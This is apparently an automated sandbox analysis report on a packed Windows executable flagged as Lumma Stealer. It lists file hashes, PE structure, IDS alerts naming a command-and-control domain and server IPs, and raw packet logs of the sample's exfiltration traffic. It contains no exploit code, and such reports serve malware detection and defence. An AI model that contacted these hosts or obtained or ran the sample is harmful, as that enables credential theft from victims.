Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949160617786457
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	2RxMkSAgZ8.exe
File size:	1'872'384 bytes
MD5:	9206302f53ca9294d3a4bd17c0ef0adc
SHA1:	e125a2562999902128af0de27eec951c71a0c309
SHA256:	be48cb6e3ff7f142a419c4b227fbf9bbe2c6074a58e23ad453380854f749e33e
SHA512:	02876807b7af1fa432db577d8e87cc1dc0fea6c55c875aa79529bc4d4087b89add5421219aa37efe2c4a871e5ea78792620f7b54e5c19d261c2d1998ce041b33
SSDEEP:	24576:jPOIxuhmwIjOLaTN98xIpBvFTsco0QvKkhHNTp2DU6ksMUzStopsaZpyjWkL37SU:7O0BO4XvFcBhNGW3U+tEpEv37Sx+55z
TLSH:	7F8533020D95EAF0D9D5DDB548CB13CE2371DD9AF1A057B2EB342B35B2A35AB9B36400
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L... .pg..............................J...........@..........................0J.....I.....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67701720 [Sat Dec 28 15:20:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F40A48F028Ah
pshufw mm3, qword ptr [eax+eax], 00h
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26000	e73e8ccf405969e6d59305a7bb3b3fd4	False	0.9998972039473685	data	7.978830622751568	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x200	68f94ce9c2adec125e617edfd837f658	False	0.796875	data	6.044563609446552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2aa000	0x200	eb1f39853320b003a39ce43e7d1426b8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
emuggwoy	0x2ff000	0x1a0000	0x19f600	414c0f6b3b7f4eb9eacefeb58d28b12e	False	0.99460377952904	data	7.954386624077765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lwcvutlx	0x49f000	0x1000	0x400	795a931bb34f5772af5ef51aa9250d7e	False	0.7509765625	data	5.9604238119354855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a0000	0x3000	0x2200	ff1490b7641d03b51be3ea97102033d2	False	0.05710018382352941	DOS executable (COM)	0.9570167748474417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x49e35c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T09:50:46.820404+0100	2058656	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)	1	192.168.2.7	53548	1.1.1.1	53	UDP
2024-12-31T09:50:47.335953+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.7	49710	104.21.64.1	443	TCP
2024-12-31T09:50:47.335953+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49710	104.21.64.1	443	TCP
2024-12-31T09:50:47.824140+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49710	104.21.64.1	443	TCP
2024-12-31T09:50:47.824140+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49710	104.21.64.1	443	TCP
2024-12-31T09:50:48.307141+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.7	49721	104.21.64.1	443	TCP
2024-12-31T09:50:48.307141+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49721	104.21.64.1	443	TCP
2024-12-31T09:50:48.796291+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49721	104.21.64.1	443	TCP
2024-12-31T09:50:48.796291+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49721	104.21.64.1	443	TCP
2024-12-31T09:50:49.733362+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.7	49732	104.21.64.1	443	TCP
2024-12-31T09:50:49.733362+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49732	104.21.64.1	443	TCP
2024-12-31T09:50:50.417267+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49732	104.21.64.1	443	TCP
2024-12-31T09:50:51.035053+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.7	49738	104.21.64.1	443	TCP
2024-12-31T09:50:51.035053+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49738	104.21.64.1	443	TCP
2024-12-31T09:50:52.678743+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.7	49749	104.21.64.1	443	TCP
2024-12-31T09:50:52.678743+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49749	104.21.64.1	443	TCP
2024-12-31T09:50:54.074584+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.7	49760	104.21.64.1	443	TCP
2024-12-31T09:50:54.074584+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49760	104.21.64.1	443	TCP
2024-12-31T09:50:55.945728+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.7	49771	104.21.64.1	443	TCP
2024-12-31T09:50:55.945728+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49771	104.21.64.1	443	TCP
2024-12-31T09:50:59.510142+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.7	49797	104.21.64.1	443	TCP
2024-12-31T09:50:59.510142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49797	104.21.64.1	443	TCP
2024-12-31T09:50:59.944658+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49797	104.21.64.1	443	TCP
2024-12-31T09:51:00.655255+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49804	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:50:39.195648909 CET	49677	443	192.168.2.7	20.50.201.200
Dec 31, 2024 09:50:39.367568970 CET	49674	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:50:39.368859053 CET	49675	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:50:39.539438009 CET	49672	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:50:42.180001974 CET	49677	443	192.168.2.7	20.50.201.200
Dec 31, 2024 09:50:46.849942923 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:46.849992037 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:46.850195885 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:46.854851961 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:46.854865074 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:46.976888895 CET	49671	443	192.168.2.7	204.79.197.203
Dec 31, 2024 09:50:47.335742950 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.335952997 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.338723898 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.338733912 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.338999033 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.383200884 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.419609070 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.419698000 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.419742107 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.824156046 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.824261904 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.824382067 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.825968027 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.825992107 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.826004028 CET	49710	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.826009989 CET	443	49710	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.834645987 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.834701061 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:47.834784985 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.835067987 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:47.835084915 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.133127928 CET	49677	443	192.168.2.7	20.50.201.200
Dec 31, 2024 09:50:48.307040930 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.307141066 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.308425903 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.308437109 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.310126066 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.311280966 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.311323881 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.311736107 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796201944 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796253920 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796283960 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796314001 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796349049 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796350002 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.796379089 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796391010 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.796408892 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.796413898 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796478987 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796513081 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796514034 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.796524048 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.796555996 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.796569109 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.801198959 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.801268101 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.801275969 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.851929903 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.884358883 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.885096073 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.885130882 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.885149956 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.885174036 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.885210991 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.885221004 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.885252953 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.885291100 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.916498899 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.916542053 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.916557074 CET	49721	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:48.916564941 CET	443	49721	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:48.980952978 CET	49674	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:50:48.980972052 CET	49675	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:50:49.145278931 CET	49672	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:50:49.281286955 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:49.281341076 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:49.281415939 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:49.281990051 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:49.282002926 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:49.733263016 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:49.733361959 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:49.734669924 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:49.734689951 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:49.734952927 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:49.736253977 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:49.736366034 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:49.736397982 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:50.417280912 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:50.417393923 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:50.417541027 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:50.417682886 CET	49732	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:50.417702913 CET	443	49732	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:50.569886923 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:50.569921970 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:50.570310116 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:50.570576906 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:50.570585966 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:51.034970045 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:51.035053015 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:51.037587881 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:51.037599087 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:51.037834883 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:51.039710045 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:51.039947987 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:51.039974928 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:51.040030956 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:51.083347082 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:51.580121994 CET	443	49698	104.98.116.138	192.168.2.7
Dec 31, 2024 09:50:51.580225945 CET	49698	443	192.168.2.7	104.98.116.138
Dec 31, 2024 09:50:51.713371992 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:51.713628054 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:51.713684082 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:51.726639986 CET	49738	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:51.726675987 CET	443	49738	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:52.208709955 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:52.208764076 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:52.208837032 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:52.209233999 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:52.209247112 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:52.678577900 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:52.678742886 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:52.680012941 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:52.680032015 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:52.680346012 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:52.682727098 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:52.682853937 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:52.682890892 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:52.682974100 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:52.682990074 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:53.304527998 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:53.304646969 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:53.304771900 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:53.305218935 CET	49749	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:53.305232048 CET	443	49749	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:53.619621992 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:53.619688988 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:53.619812965 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:53.620304108 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:53.620321035 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:54.074469090 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:54.074584007 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:54.075922012 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:54.075932980 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:54.076178074 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:54.077477932 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:54.077675104 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:54.077681065 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:54.515155077 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:54.515255928 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:54.515343904 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:54.643102884 CET	49760	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:54.643126011 CET	443	49760	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.485321045 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.485372066 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.485455990 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.485883951 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.485896111 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.945633888 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.945728064 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.947527885 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.947547913 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.947818995 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.970496893 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.971396923 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.971429110 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.971546888 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.971568108 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.971714020 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.971740961 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.971879005 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.971904039 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.972067118 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.972089052 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.972287893 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.972307920 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.972317934 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.972326994 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.972507954 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.972527981 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.972554922 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.972706079 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.972728968 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.981446981 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.981637001 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.981674910 CET	443	49771	104.21.64.1	192.168.2.7
Dec 31, 2024 09:50:55.981713057 CET	49771	443	192.168.2.7	104.21.64.1
Dec 31, 2024 09:50:55.981745958 CET	49771	443	192.168.2.7	104.21.64.1
